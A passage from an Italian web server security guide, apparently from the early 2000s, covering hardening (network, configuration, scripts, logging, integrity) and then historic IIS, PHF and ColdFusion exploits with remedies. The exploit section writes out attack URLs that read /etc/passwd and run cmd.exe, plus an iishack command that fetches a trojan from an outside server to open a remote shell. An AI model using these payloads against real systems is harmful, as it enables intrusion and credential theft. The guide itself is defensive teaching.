scalata dei privilegi e/o impersonificazione degli utenti con privilegi amministrativi attraverso il
crack delle password e/o l'esecuzione di exploit successivi;

occultamento delle tracce tramite la cancellazione dei logs, l'uso di rootkits e lo sfruttamento di
particolari caratteristiche del sistema operativo
(vedi gli Alternate Data Streaming di Windows
NT/2000);

installazione di backdoors cioè di programmi nascosti che permettono all'aggressore un ritorno ed
una ripresa del controllo del sistema in qualsiasi momento;
Complessivamente, in conseguenza di queste azioni, l'aggressore può essere portato ad eseguire delle
attività che rientrano in due aree principali:

attività che comportano una manipolazione del server e/o un trafugamento di informazioni:

atti di vandalismo come la modifica dei contenuti delle pagine Web o la cancellazione del
contenuto dell'intero sito;

trafugamento di informazioni sensibili concernenti l'organizzazione, la configurazione di rete
oppure la clientela o gli utenti);

uso
dell'host come base per lanciare attacchi contro altri sistemi (attacchi
D.D.O.S -
Distributed Denial of Service);

installazione di strumenti per il monitoraggio del traffico di rete e la cattura di informazioni di
autenticazione (sniffing);

attività che producono una situazione di indisponibiltà del servizio (D.O.S. - Denial of Service) cioè
l'impossibilità per gli utenti di accedere alle risorse messe a disposizione dal server;
Il diniego del servizio (D.O.S) rappresenta per l'aggressore una soluzione estrema che, oltretutto,
richiede spesso competenze tecniche davvero minime.
Le conseguenze di simili attacchi sono veramente molteplici e vanno dalla sopportazione dei costi per il
ripristino delle risorse al mancato realizzo di introiti, alla perdita di credibilità nei confronti del pubblico
fino ad arrivare anche a conseguenze che implicano una responsabilità di carattere legale (si pensi alla
perdita o trafugamento di informazioni sensibili a causa di una negligente gestione del sito).
Un approccio per il miglioramento dei livelli di sicurezza:
Il modo migliore di procedere, dopo aver identificato con esattezza i rischi, è quello di predisporre un
piano che individui una serie di misure precauzionali tali da condurre ad un livello di sicurezza che
deve essere adeguato e proporzionato alla natura e all'importanza delle risorse da proteggere (un
portale di commercio elettronico indubbiamente richiede livelli e politiche di sicurezza ben maggiori di
un sito Web di carattere statico).
Si tratta di un processo lungo e ripetitivo che deve partire dalla considerazione degli aspetti più generali
e che comporta una serie di attività e di valutazioni concernenti:
1
la scelta del sistema operativo;
2
la configurazione di rete;
3
la configurazione di base del server;
4
l'uso di programmi esterni e di script;
5
la progettazione Web di qualità;
6
l'identificazione e l'uso dei meccanismi di logging ed auditing;
7
il mantenimento dell'integrità delle risorse;
1) Scelta del SIstema Operativo
Non è possibile parlare delle tecniche
di protezione dei server Web senza
fare una breve
considerazione in merito ai criteri di scelta del sistema operativo poiché le caratteristiche di affidabilità
e robustezza di quest’ultimo
possono
avere un impatto significativo nella predisposizione e nel
mantenimento dei giusti livelli di sicurezza sotto il profilo della:
1
assenza di vulnerabilità note nei confronti di tipologie conosciute di attacco;
2
capacità di limitare determinati tipi di attività soltanto ad alcuni utenti;
3
abilità nel rimuovere e disabilitare servizi e risorse non necessari;
4
abilità nel controllare l'uso e l'accesso alle varie risorse e nel registrare la varie attività
degli utenti;
5
facilità di gestione ma non a discapito della sicurezza;
Una scelta operata tenendo conto
di questi fattori può comportare oltre che
minori problemi e
vulnerabilità anche costi minori soprattutto per quanto riguarda le attività di amministrazione del sistema
(si pensi al tempo normalmente richiesto da un attività fondamentale quale è quella di applicazione
delle varie patches di sicurezza e che potrebbe essere risparmiato).
2) Configurazione della rete
Insieme alla scelta del sistema operativo
anche la configurazione di rete ha
una sua importanza
basilare e da questo punto di vista la soluzione che offre le migliori garanzie in termini di sicurezza
rimane quella di isolare il server Web dalla rete interna.
Nell'ipotesi di una compromissione dell'host questa pratica è infatti di ausilio nell'impedire il verificarsi di
due conseguenze molto gravi:
1
l'accesso agli host della LAN da parte dell'aggressore;
2
il monitoraggio
del traffico proveniente dalla rete con la conseguente
cattura
di eventuali
informazioni riservate;
Generalmente
il raggiungimento di un tale livello di isolamento diventa
possibile
attraverso la
configurazione e l'uso di una zona demilitarizzata, detta anche DMZ, cioè di una topologia in grado di
segmentare logicamente la rete separando i sistemi interni (considerati di fiducia) da quelli esterni
accessibili al pubblico che, in quanto privi di tale fiducia, devono rimanere isolati.
Naturalmente l'esistenza di una DMZ non rappresenta da sola una garanzia sufficiente ma deve essere
accompagnata dalla presenza di adeguati dispositivi di controllo degli accessi (router e firewall) in modo
tale da:

bloccare tutto il traffico UDP, ICMP e TCP non strettamente necessario;

bloccare tutte le connessioni TCP che traggono origine dallo stesso server Web;

bloccare il traffico tra il server Web e la rete interna;

disabilitare il source routing e scartare i datagrammi IP che abbiano impostata questa opzione (il
source routing è una funzione del meccanismo di instradamento dei pacchetti IP che permette
alla sorgente di influenzare il percorso che il pacchetto seguirà nel suo attraversamento delle reti);
Il blocco delle connessioni in uscita dal server http non può comunque essere adottato nel caso in cui
quest'ultimo si avvalga di servizi
esterni erogati da
altri server (ad esempio un database per la
generazione dinamica dei contenuti, un server SMTP per la posta in uscita, etc...).
Quando ciò accade è tuttavia conveniente collocare anche gli host dei servizi di supporto all'interno di
una sottorete e separare quest'ultima sia dalla rete interna che da quella esterna mediante l'utilizzo di
dispositivi di controllo degli accessi in modo tale da:

bloccare qualsiasi tipo di traffico tra la rete Internet e questi host;

impedire ogni forma di traffico diretto tra gli utenti ed i servizi di supporto;

disabilitare le funzioni di IP forwarding (inoltro del traffico IP) tra server Web e server di supporto;
Qualora non sia possibile servirsi di una zona demilitarizzata, fermo restando i rischi di un possibile
accesso agli host della LAN, è sempre possibile ricorrere a dispositivi come hub e switch in grado di
suddividere il traffico della rete separando quello del Web da quello interno ed, eventualmente, criptare
quest'ultimo così da renderlo comunque incomprensibile all'aggressore anche in caso di avvenuta
compromissione del server.
3) Configurazione di base del server
In linea teorica il server Web dovrebbe operare nell'ambito di una configurazione di rete e di sistema
davvero minima. Il rispetto di questa
semplice regola è effettivamente
in grado di produrre come
risultato un sensibile miglioramento dei livelli di sicurezza attraverso degli espedienti quali:
1
la disabilitazione di tutti i servizi di rete non essenziali ed, in particolar modo, di quelli affetti da
vulnerabilità conosciute sotto il profilo della sicurezza;
2
la rimozione dal sistema dei files corrispondenti ai servizi disabilitati;
3
l'eliminazione delle porte
4
ed UDP in ascolto superflue;
5
la rimozione
o disabilitazione di tutte le risorse non richieste in
relazione
al ruolo dell'host
(compilatori, interpreti, shell, scripts ed altri strumenti analoghi);
6
la corretta gestione degli utenti e dei loro privilegi;
7
la predisposizione di regole adeguate per l'accesso e l'uso delle risorse;
Le attività di cui ai punti da 1 a 4 sono particolarmente importanti non soltanto in un ottica generale di
riduzione dei rischi di compromissione del sistema ma anche in vista di uno snellimento delle attività di
amministrazione e, quindi, della minore probabilità di commettere errori di configurazione che possono
essere prontamente sfruttati da un aggressore.
A tal fine, proprio per evitare di commettere dimenticanze, è conveniente adottare un approccio del tipo
"deny
all, then allow" che consiste prima nel disabilitare indistintamente
tutti i servizi e le porte
TCP/UDP e poi nel riabilitare, dopo un attenta valutazione, soltanto quelli veramente essenziali.
Anche
per quanto concerne
la gestione degli utenti e dei privilegi vanno
prefissate delle regole
improntate a criteri restrittivi dirette ad:

impedire che il servizio http venga lanciato da un utente con privilegi amministrativi perchè questo
può comportare l'acquisizione del controllo completo del sistema in caso di exploit eseguito con
successo;

disabilitare o rimuovere tutti gli account inutili, installati dal sistema operativo o da altri software,
per ridurre il rischio di una impersonificazione o scalata dei privilegi nel caso di intrusione;

modificare il nome dell'account di amministratore;

adottare criteri di robustezza delle password sotto il profilo della lunghezza (almeno 8 caratteri),
complessità (alfanumerica con un mix di caratteri maiuscoli e minuscoli e l'uso di caratteri non
stampabili), riutilizzo (da evitare) e durata (mediamente 30-120 giorni);

verificare
direttamente le password, preferibilmente mediante gli stessi
strumenti
usati dagli
hackers, per accertare che esse rispondano ai criteri voluti ;

impostare il blocco degli utenti dopo un certo numero di tentativi falliti di login;
Il blocco degli utenti è una misura da adottare con cautela poichè costituisce un arma a doppio taglio
che può spingere l'aggressore a provocare una situazione di D.O.S (Denial of Service) per l'utente
attraverso una serie di tentativi di connessione falliti.
I singoli processi coinvolti nella gestione del servizio http devono comunque avere accesso soltanto ai
file ed alle directory necessari al loro funzionamento per i quali occorre specificare delle regole di
accesso (cosiddette acl o access control list) che, oltre ad offrire una maggiore granularità nel controllo
dell'uso delle risorse, sono in grado di scongiurare o mitigare gli effetti derivanti da un eventuale
attacco D.O.S diretto a provocare una situazione di indisponibilità dell'intero sistema proprio attraverso
un esaurimento delle sue risorse.
In questa prospettiva,
anzi, per ridurre significativamente
gli effetti derivanti da attacchi di questo
genere, è sempre consigliato il ricorso ad ulteriori interventi correttivi che consistono nel:

creare una singola directory radice e da essa far derivare una gerarchia di sottodirectory nelle
quali suddividere le risorse che costituiscono il contenuto pubblico del Web;

limitare ad una sola directory, opportunamente configurata e protetta, tutti i programmi "esterni"
eseguiti come parte integrante del servizio Web;

limitare l'uso dei file temporanei da parte dei singoli processi all'interno di apposite directory
opportunamente protette e consentirne l'accesso soltanto ai processi stessi;

impedire che file e risorse esterne alla gerarchia di directory del server possano essere forniti in
risposta alle richieste degli utenti;

disabilitare l'uso dei link simbolici per evitare che risorse facenti parte del contenuto del Web
possano puntare a file di sistema o ad altre risorse all'interno della LAN;

aggiustare le priorità dei vari processi di sistema;
4) L'uso di programmi esterni e di script
L'installazione e l'uso di programmi esterni quali interpreti, plug-in e script può letteralmente aprire una
breccia nei livelli di protezione di qualsiasi server Web.
Anche gli host apparentemente più inviolabili possono infatti cadere a causa di un banale exploit che
sfrutta un semplice script cgi per eseguire localmente sul server comandi diretti ad ottenere l'accesso
al sistema.
Poichè la storia è piena
di esempi di questo genere, prima ancora di
funzionalità aggiuntive fornite da script, plug-in ed
altro,
decidere se sfruttare
le
è sempre opportuno valutare
complessivamente i benefici ed i rischi che ne derivano ed optare per l'adozione soltanto quando i primi
siano realmente superiori ai secondi.
In ogni caso la preoccupazione principale deve sempre rimanere quella di ridurre i rischi entro limiti
accettabili e per far ciò occorre:

evitare, se possibile, l'uso di script di terze parti oppure accertarne
l'esatta provenienza ed
autenticità del codice;

fare uso soltanto dei programmi e degli script veramente indispensabili disabilitando tutti gli altri
(ad esempio quelli dimostrativi spesso causa di molteplici problemi);

impiegare tecniche di programmazione ortodosse nella scrittura del proprio codice e prestare la
massima attenzione ad aspetti quali la lunghezza e la complessità finale, la presenza di opportuni
controlli per la validazione dell'input e l'interazione con altri programmi esterni o l'accesso in lettura
e/o scrittura al file system;

valutare attentamente la presenza di queste stesse caratteristiche anche negli script di terze parti;

usare possibilmente una macchina di test per verificare il funzionamento di tutti i programmi e
degli script prima ancora di impiegarli in una macchina di produzione;

evitare di collocare i programmi e gli interpreti all'interno della stessa directory dove risiedono gli
script (ad esempio la CGI-BIN) e posizionarli invece in una directory separata opportunamente
protetta ed accessibile soltanto agli utenti amministratori;

circoscrivere l'accesso di programmi ed interpreti ai soli file e directory indispensabili al loro
funzionamento e comunque soltanto a quelli all'interno del contenuto pubblico del Web;

verificare costantemente l'integrità degli eseguibili relativi a programmi ed interpreti nonchè degli
script;
5) La progettazione web di qualità
L'uso di script, come già accennato, può inevitabilmente diminuire il livello di sicurezza di un server
Web poichè introduce molteplici aspetti e variabili nel flusso di esecuzione del codice che possono
essere sfruttate da un aggressore per tentare di ottenere un accesso non autorizzato.
Non a caso una delle tipologie più note di aggressione si basa sull'invio al server di dati inattesi
mediante la URL. Generalmente questo
avviene inviando una quantità
eccessiva di dati oppure
combinando tecniche che consistono in un abuso di metacaratteri e nell'encoding della stringa al fine di
provocare tre effetti differenti:
1
buffer overflow: si verifica quando un buffer di input, ad esempio una variabile all'interno di un
programma, viene saturato con un valore più grande di quello che esso riesce a gestire (di regola
il verificarsi di questa condizione viene sfruttato per tentare di eseguire una porzione di codice
arbitrario forzandolo all'interno dello stack di esecuzione del processore);
2
alterazione della
logica applicativa: può consistere nell'alterazione dei
meccanismi
di
autenticazione o nell'accesso a funzionalità riservate dell'applicativo;
3
invocazione di funzioni di sistema o di altri programmi esterni oppure accesso a file e risorse che
non fanno parte del contenuto del Web;
L'approccio migliore per cercare di scongiurare questi effetti è rappresentato dall'adozione di tecniche
incentrate sulla qualità della programmazione, sull'implementazione di una logica applicativa robusta e
sul controllo del flusso.
E’ sempre bene adottare degli ulteriori rimedi:

usare meccanismi di controllo e di filtro dei dati di input;

utilizzare tutte le caratteristiche di sicurezza messe a disposizione dai linguaggi di scripting;

evitare, se possibile, l'utilizzo di meccanismi come SSI (Server Side Include);

usare con attenzione e cautela i tag nascosti all'interno delle pagine html;
Quando non si ha certezza sulla natura dell'input ricevuto è assolutamente necessario ricorrere al
filtraggio dei dati attenendosi ad una regola elementare: identificare con esattezza la natura ed il tipo
delle informazioni da gestire ed eliminare tutti i caratteri non necessari ed inutili avvalendosi di funzioni
proprie o di quelle messe a disposizione dai più moderni linguaggi di scripting (Perl, PHP, Cold Fusion
Markup Language ed ASP possiedono tutti simili funzioni).
Per quanto concerne l'utilizzo delle caratteristiche di sicurezza va ricordato che sia il Perl sia il PHP
implementano
un meccanismo che
evita il verificarsi di condizioni di overflow del buffer di input
aggiustando automaticamente la dimensione di questo per supportare una allocazione di memoria
consona alla quantità di dati effettivamente ricevuta. Inoltre alcuni dei linguaggi precedentemente citati
offrono anche altre funzionalità ed in particolare:

PERL può girare in una modalità detta "taint" abilitata da linea di comando mediante l'opzione -T
che avvisa nell'eventualità in cui i dati di input vengano passati ad alcune funzioni di sistema tra le
quali chmod, chown, exec, connect, etc...

CFML mette a disposizione una vera e propria sandbox che può essere sfruttata per limitare
l'invocazione delle funzioni di sistema oppure l'uso di certi tags proprietari;

PHP racchiude una modalità detta "safe_mode" che limita l'accesso di alcune funzioni (fopen,
link, chmod, etc...) ai soli file di cui è proprietario l'utente di PHP che generalmente coincide con
l'utente del server Web;

ASP, pur non fornendo una particolare varietà di funzioni di sistema se non quelle relative alle
operazioni con il file system, consente di disabilitare queste ultime de-registrando l'oggetto File
System del motore di scripting (scrrun.dll);
La disabilitazione degli SSI o Server Side Include è un'altra misura precauzionale opportuna perchè
questi meccanismi possono rivelarsi un arma a doppio taglio particolarmente insidiosa in quanto se da
un lato mettono a disposizione funzionalità interattive utili dall'altro hanno un funzionamento fin troppo
elementare da sovvertire per un aggressore poichè si basano sull'impiego di tags (tra i quali "cmd" ed
"email") che possono essere inseriti ovunque all'interno di un documento html per forzare l'esecuzione
di comandi in locale sul server.
Considerazioni analoghe spingono ad evitare, se possibile, l'uso di tag nascosti, specie all'interno di
form, per raccogliere informazioni sensibili (quali il prezzo di prodotto) che possono essere alterate con
estrema facilità.
6) L'identificazione e l'uso dei meccanismi di logging ed auditing
La raccolta dei dati relativi al sistema, al traffico di rete, alle attività degli utenti ed al server Web è
essenziale poichè collezionando ed analizzando queste informazioni diventa possibile non soltanto
scoprire i segni di eventuali intrusioni e determinare la portata delle azioni compiute dall'aggressore ma
anche individuare tutte quelle operazioni di "probing" che, pur non rappresentando dei veri e propri
attacchi, sono sintomi di un sicuro interesse di qualcuno verso il sistema ed in particolare verso le sue
vulnerabilità.
L'approccio ideale per riconoscere in qualsiasi momento i segni di probabili intrusioni o di altre attività
anomale consiste nel paragonare le informazioni relative al funzionamento del sistema in quel dato
momento con le analoghe informazioni catturate in un momento anteriore (generalmente in fase di prima
installazione od operatività) che, in quanto tali, costituiscono un impronta affidabile e caratteristica del
funzionamento del sistema stesso.
Di regola questo genere di indicazioni viene fornito dal sistema operativo, dal software che gestisce il
server Web e da altri meccanismi di terze parti.che consentono di:
1
monitorare ed analizzare la natura e la portata del traffico di rete attraverso la raccolta di dati
concernenti:

il numero dei pacchetti, il numero dei bytes e delle connessioni in entrata ed uscita suddivisi
per protocollo, indirizzi IP sorgenti e destinazione e porte;

le intestazioni ed il contenuto dei pacchetti ricevuti;

il numero dei socket aperti;

gli errori che si verificano sulle differenti interfacce di rete e lo stato di queste ultime;

le connessioni effettuate ed i tentativi di connessione falliti suddivisi per protocollo, nome
dell'host/utente, porte, indirizzi, data ed ora;

2
la durata ed il flusso di ciascuna delle connessioni;
monitorare l'utilizzo del sistema attraverso la raccolta di dati concernenti:

l'ammontare totale delle risorse in uso (CPU, memoria, dischi);

lo stato del file system per ciascuna partizione in termini di spazio libero, numero dei file
aperti, statistiche di I/O;

i cambiamenti nello stato del sistema (shutdown e riavvii);

la data e l'ora di avvio dei vari processi, la loro durata nonchè la percentuale di risorse, le
periferiche ed il numero dei file che ciascuno di essi adopera;

3
gli errori ed i warning segnalati dal sistema;
monitorare gli utenti e le attività di questi attraverso la raccolta di dati concernenti:

login (data ed ora, numero di tentativi falliti, tentativi di accesso come utenti privilegiati) e
logout;
4

i cambiamenti e le modifiche riguardanti i privilegi degli utenti e l'uso dei privilegi stessi;

l'esecuzione di azioni che richiedono particolari privilegi;

il numero dei processi avviato;
monitorare e verificare l'integrità dei file attraverso la raccolta di dati concernenti:

il numero ed il timestamp di files e/o directories ed i loro attributi;

il checksum per tutti i files e le directories più importanti (pagine web, file di sistema e di
configurazione, applicazioni e strumenti per la sicurezza, file contenenti dati rilevanti);
5

i cambiamenti nelle dimensioni, nel contenuto e nella protezione dei files;

l'aggiunta, la cancellazione e la modifica di files e/o directories;

la presenza di eventuali "alternate data streaming" all'interno dei files (Windows NT/2000);

i risultati delle scansioni antivirus;
raccogliere ed analizzare i file di log per i vari servizi di rete (web, mail, ftp,etc...);
Naturalmente la mole di informazioni
veramente
che deriva da simili operazioni di
considerevole per cui è sempre opportuno
monitoraggio può essere
effettuare un giusto
bilanciamento tra
l'importanza della attività di raccolta dei dati e le risorse disponibili per memorizzarli.
Qualunque sia inoltre la quantità di informazioni che si decide di catturare è essenziale che questa
"fotografia" del funzionamento del sistema venga ripetuta in relazione ai vari aggiornamenti che nel
tempo vengono apportati al sistema stesso (installazione di nuovo software, aggiornamento dei file del
sistema operativo, applicazioni delle patches di sicurezza, etc...) in modo da garantire l'attendibilità dei
risultati che scaturiscono dal raffronto tra i dati.
Per non rischiare di vanificare inutilmente i meccanismi di logging ed auditing è inoltre conveniente
adottare le seguenti precauzioni:

posizionare
i logs su un host separato dedicato esclusivamente a questa
finalità
e posto
all'interno di una sottorete protetta da firewalls;

configurare attentamente questo host in modo da scongiurare o limitare fortemente gli effetti di un
possibile attacco di tipo D.O.S (Denial of Service) che può verificarsi se l'aggressore cerca di
saturare le risorse impiegate per il salvataggio dei dati in modo da far cessare il logging;

proteggere i logs in modo tale da consentire l'accesso ad essi ed agli strumenti utilizzati per la loro
configurazione soltanto agli utenti debitamente autorizzati;

criptare i logs contenenti informazioni sensibili nel momento stesso della loro registrazione;

eliminare la possibilità che i dati
una volta scritti possano essere
modificati, usando per la
registrazione supporti di tipo "write-once/read many" (CD-ROM, stampanti, cassette);

predisporre opportune regole per l'archiviazione dei logs e la loro dislocazione in luoghi e su
supporti fisicamente sicuri;

analizzare i logs con cadenza periodica avvalendosi degli strumenti esistenti a tal fine;
Per diminuire il volume dei dati da analizzare periodicamente e quindi favorire un riscontro più puntuale
dei dati possono essere impiegate tecniche cosiddette di rotazione che consistono nel creare copie dei
logs online ad intervalli regolari, rinominare queste copie ed analizzare i dati in esse contenuti in modo
da poter contare sempre su una collezione di logs relativi a ben precisi momenti temporali.
7) Il mantenimento della integrità delle risorse
Il mantenimento della integrità delle risorse è determinante per scongiurare gli effetti delle azioni che
l'aggressore può compiere in caso di penetrazione e che generalmente consistono:

nella sostituzione dei file di sistema con analoghi file, modificati ed alterati nelle loro funzionalità
(http://www.rootkit.com), e nella modifica dei file di logs per cercare di cancellare le proprie tracce;

nella installazione di strumenti (backdoors) che consentono di rientrare nel sistema in qualsiasi
momento per riprenderne il controllo;

nella modifica delle pagine Web in modo che riproducano informazioni fuorvianti od offensive e/o
addirittura nella cancellazione dell'intero sito;
Per tutelarsi nei confronti di questi abusi è innanzitutto necessario predisporre una serie di meccanismi
idonei a monitorare lo stato, le modifiche e l'integrità del file system ed individuare:

le
modifiche del file system come la creazione di nuovi file/directory
e/o
la modifica e
cancellazione di file esistenti;

i cambiamenti nella dimensione, nel contenuto, negli attributi e nelle regole di accesso ai files;

le alterazioni della consistenza dei
logs (variazioni nella dimensione,
buchi temporali nella
registrazione degli eventi,etc...);

la presenza di virus, backdoors e cavalli di troia;

le alterazioni del file delle password;
Inoltre è importante predisporre delle misure idonee a consentire il ripristino di tutti i files e programmi
rilevanti in caso di compromissione della integrità degli stessi attraverso:

la creazione di copie di backup sicure di tutti i files e programmi significativi;

il salvataggio di queste copie in forma criptata su supporti di memorizzazione a sola lettura o su
un altro host posto in una sottorete protetta attraverso l'uso di firewalls;

la restrizione dell'accesso e dell'uso delle copie ai soli utenti debitamente autorizzati;

la predisposizione di procedure da seguire per il ripristino dello stato dei file alterati o modificati;
Elenco degli exploit più famosi:
1. PHF
2. IISHACK (IIS 4)
3. RDS-MDAC(IIS 4)
4. Attacco anonimo alle password degli utenti (IIS 4)
5. Denial of Service remoto (IIS 4)
6. Buffer Overflow remoto (IIS 4)
7. Esecuz. di comandi sul server (IIS 5 + patch Q277873)
PHF
Questo rappresenta un exploit storico per i sistemi Unix ed è basato su uno script CGI di esempio
chiamato appunto PHF che implementa un servizio di rubrica telefonica basato su maschere.
Lo script utilizza la funzione
escape_shell_cmd()
per verificare i dati in ingresso ma purtroppo la
procedura di validazione dell'input non riesce a rilevare il carattere di ritorno a capo ("++", o "0x0a" in
esadecimale).
Di conseguenza questo carattere particolare può essere utilizzato per forzare la fine dell'esecuzione
dello script e fare in modo che il programma esegua, localmente sul server, tutto quello che segue il
carattere di ritorno a capo.
In questo modo diventa possibile fare qualsiasi cosa come ad esempio ottenere il file delle password:
http://www.target.com/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd
o addirittura causare in particolari circostanze la restituzione di una shell dei comandi remota.Rimedi:
Rimuovere lo script dal server web.
IISHACK - (IIS 4)
La causa di questo exploit che rientra nella categoria dei buffer overflow è da ricercare nella verifica
parziale delle dimensioni dei nomi che Microsoft IIS 4.0 effettua sulle URL di file con estensione .HTR,
.STM e .IDC .
Questo può
consentire all'aggressore persino l'installazione di backdoors
da remoto nonchè
l'esecuzione di comandi sul server nel contesto dei privilegi dell'utente amministratore.
E' stato sviluppato
un eseguibile come proof-concept di
questa anomalia chiamato iishack.exe
(http://www.securityfocus.com/).
Attraverso questo programma diventa possibile, ad esempio, scaricare sul server un cavallo di troia
autoscompattante che, una volta eseguito, installa un listener netcat in grado di restituire all'aggressore
una shell di comandi remota:
c:\> iishack www.target.com 80 www.mioserver.com/cavallo_di_troia.exeRimedi:
Applicare la patch rilasciata da Microsoft disponibile all'indirizzo ftp://ftp.microsoft.com/bussys/IIS/iispublic/fixes/usa/ext-fix/.
RDS - MDAC (IIS 4)
Questo exploit è dovuto ad un difetto dell'oggetto DataFactory del componente RDS (Remote Data
Service) di MDAC (Microsoft Data Access Components) che nella configurazione predefinita permette
ad un intruso di inviare da remoto comandi destinati ad essere eseguiti localmente sul server nel
contesto dei privilegi dell'utente con il quale è in esecuzione il servizio http (generalmente SYSTEM).
Per scoprire la vulnerabilità a questo tipo di attacco esistono degli appositi script in perl che verificano
la presenza di MDAC sul server.
In particolare esiste un exploit pubblicato da Rain Forrest Puppy (http://www.securityfocus.com/) che
inoltrando una richiesta RDS al database d'esempio btcustmr.mdb,
presente sul
server, tenta di
accodare l'esecuzione di una shell di comandi remota ad una query SQL.Rimedi:
Considerare la possibilità di disabilitare le funzionalità remote del Data Factory attraverso la rimozione
delle seguenti chiavi del registro:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W3SVC\
Parameters\ADCLaunch\RDSServer.DataFactory
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W3SVC\
Parameters\ADCLaunch\AdvancedDataFactory
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W3SVC\
Parameters\ADCLaunch\VbBusObj.VbBusObjCls
Attacco anonimo alle password degli utenti - (IIS 4)
Con questo tipo di attacco è possibile modificare da remoto in modo del tutto anonimo gli account degli
utenti locali del server anche se questo è protetto da un firewall.
Durante la normale installazione di IIS 4 viene creata un directory virtuale chiamata "/IISADMPWD" che
mappa fisicamente l'omonima directory generalmente presente nel path %SYSTEM32%\INETSRV\.
All'interno di questa directory sono presenti una serie di risorse con estensione .htr che in realtà sono
quasi tutti varianti di uno stesso file:
achg.htr
aexp.htr
aexp2.htr
aexp2b.htr
aexp3.htr
aexp4.htr
aexp4b.htr
anot.htr
anot3.htr</span>
Fondamentalmente questi file consentono agli utenti di cambiare la loro password via web e poiché
l'accesso non è limitato al solo indirizzo di loopback (127.0.0.1) essi possono essere utilizzati in modo
del tutto anonimo anche da un aggressore per tentare di cambiare le credenziali degli utenti di sistema
od indovinare la password dell'utente amministratore.
Inoltre, usando un indirizzo IP in combinazione con l'account di un utente, il server IIS cercherà di
contattare la macchina remota utilizzando una sessione nulla NetBIOS al fine di cambiare la password
dell'utente. Rimedi:
Rimuovere la directory virtuale "IISADMPWD" se il servizio di cambio password da remoto non è
indispensabile oppure, in caso contrario,
disabilitare il servizio
workstation in modo da consentire
soltanto la modifica delle password degli account locali al server.
Se invece si vuol dare la possibilità di cambiare le password sulla macchina remota, la migliore cosa
da fare, è limitare il traffico sulla porta 139 (NETBIOS).
Denial of service remoto - (IIS 4)
IIS 4 è vulnerabile ad particolare attacco D.o.S. che può produrre come risultato la completa paralisi
dell'attività del server.
Teoricamente per provocare una situazione di questo genere è sufficiente inoltrare in modo ripetitivo
un numero considerevole di richieste di connessione http ciascuna seguita dall'invio all'host di un buffer
di 200 caratteri.
L'elevato numero delle richieste può causare sul server un incremento della memoria di sistema
impegnata con conseguente saturazione delle risorse.
Va premesso però, che non è affatto facile eseguire con successo questo tipo di attacco, specie se
l'attacco proviene da una fonte soltanto, poichè spesso esiste una considerevole differenza tra le
risorse del sistema attaccante e quelle del target che potrebbe benissimo essere in grado di far fronte a
centinaia di richieste senza per questo vedere degradare le proprie prestazioni. Rimedi:
Consultare
il
Security
Bullettin
Microsoft
all'indirizzo:
http://www.html.it/menu_fr.asp?link=http://www.microsoft.com/technet/security/bulletin/MS99-029.asp.
BUffer Overflow remoto (IIS5))
Questo recente exploit sfrutta alcune delle nuove caratteristiche offerte da Windows 2000 e da IIS 5 tra
le quali va annoverata
senza dubbio
l'estensione ISAPI .printer che consente di accedere alle
funzionalità di stampa da Web sfruttando l'IPP (Internet Printing Protocol).
Questa funzionalità è esportata da una libreria a collegamento dinamico (msw3prt.dll) che è anche
responsabile della situazione di overflow del buffer che si verifica se un blocco di 420 byte viene inviato
all'host nel contesto di una richiesta .printer ISAPI.
In questa particolare ipotesi il verificarsi di un buffer overflow non pregiudica la possibilità di eseguire
una successiva operazione di iniezione del codice all'interno dello stack di esecuzione del processore
in modo da forzare l'esecuzione in locale sul server di codice arbitrario che oltretutto viene eseguito con
i privilegi dell'utente amministratore.
In relazione a questo exploit,
che colpisce i sistemi Windows
2000 anche con SP1, esistono dei
programmi dimostrativi (http://packetstorm.securify.com/) di cui uno del tutto innocuo, pubblicato da
eEye, mentre l'altro da ascrivere a Dark Spirit (chiamato jill.c) che provoca la restituzione all'aggressore
di una shell di comandi remota.Rimedi:
Installare
la
patch
scaricabile
da
sito
della
Microsoft
all’indirizzo:
http://www.html.it/menu_fr.asp?link=http://www.microsoft.com/technet/security/bulletin/ms01-023.asp.
Inoltre
viene raccomandato di rimuovere il filtro .printer ISAPI dal Web Server
se le funzionalità
implementate non richiedono il supporto dell’IPP (Internet Printer Protocol).
Esecuzione di comandi sul server (IIS 5.0 + PATCH Q277873)
I sistemi ai quali è stata applicata la patch Q277873, per la risoluzione dei problemi relativi al "Web
Server File Request Parsing" sono esposti ad un attacco che rende possibile l'esecuzione arbitraria di
un
qualunque
programma
sul
web
server
(maggiori
informazioni
su
http://www.guninski.com/iisasp.html).
Ad esempio la URL
http://www.target.com/scripts/georgi.bat/..%C1%9C..%C1%9C..%C1%9Cwinnt/system32/cmd.exe?/c%2
0dir%20C:\
esegue il comando "DIR C:\"
ma è anche possibile leggere molti altri file usando:
http://www.target.com/scripts/georgi.asp/..%C1%9C..%C1%9C..%C1%9Ctest.txt Rimedi:
Un
rimedio potrebbe essere quello di non installare la patch citata
ma questo
consentirebbe
l'esposizione alla precedente vulnerabilità.
Per informazioni è bene monitorara l'archivio di Security Focus dedicato all'argomento all'indirizzo:
http://www.securityfocus.com/bid/1912.
Cold Fusion
Cold Fusion Application Server presenta una vulnerabilità causata dal fatto che insieme al prodotto
vengono installati degli esempi di codice alcuni dei quali non limitano la propria interazione al solo
server locale.
Il problema risiede nella facilità con cui è possibile aggirare il meccanismo di funzionamento dei file
openfile.cfm, displayopenedfile.cfm ed exprcalc.cfm.
Il primo consente di scaricare sul server qualsiasi file, il secondo visualizza un file all'interno del
browser ed il terzo dovrebbe in realtà eliminare il file caricato dopo averlo verificato.
Lo stratagemma da adottare consiste nell'adoperare lo script openfile.cfm per inviare al server un file
contenente una serie di comandi destinati ad essere eseguiti localmente e fare in modo che il sistema
non elimini il file caricato che quindi può essere successivamente richiamato per mezzo di una comune
URL.Rimedi:
Eliminare gli script interessati al problema, oppure installare l’aggiornamento messo a disposizione
dall’Allaire
per
risolvere
il
problema
di
exprcalc.cfm:
http://www.html.it/menu_fr.asp?link=http://www.allaire.com/handlers/index.cfm?ID=8727&Method=F
ull .
ASP DOT BUG - (IIS 3)
Il baco del punto è stato scoperto
nel 1997 ed affligge i sistemi con IIS 3.0
permettendo la
visualizzazione del codice di un sorgente ASP semplicemente attraverso l'aggiunta di un punto alla fine
della URL:
http://www.target.com/example.asp.
Lo stesso tipo di baco si ripresenta nei sistemi con IIS 3 che hanno applicato la patch resa disponibile
da Microsoft per eliminare il problema del punto, semplicemente utilizzando in sostituzione del punto
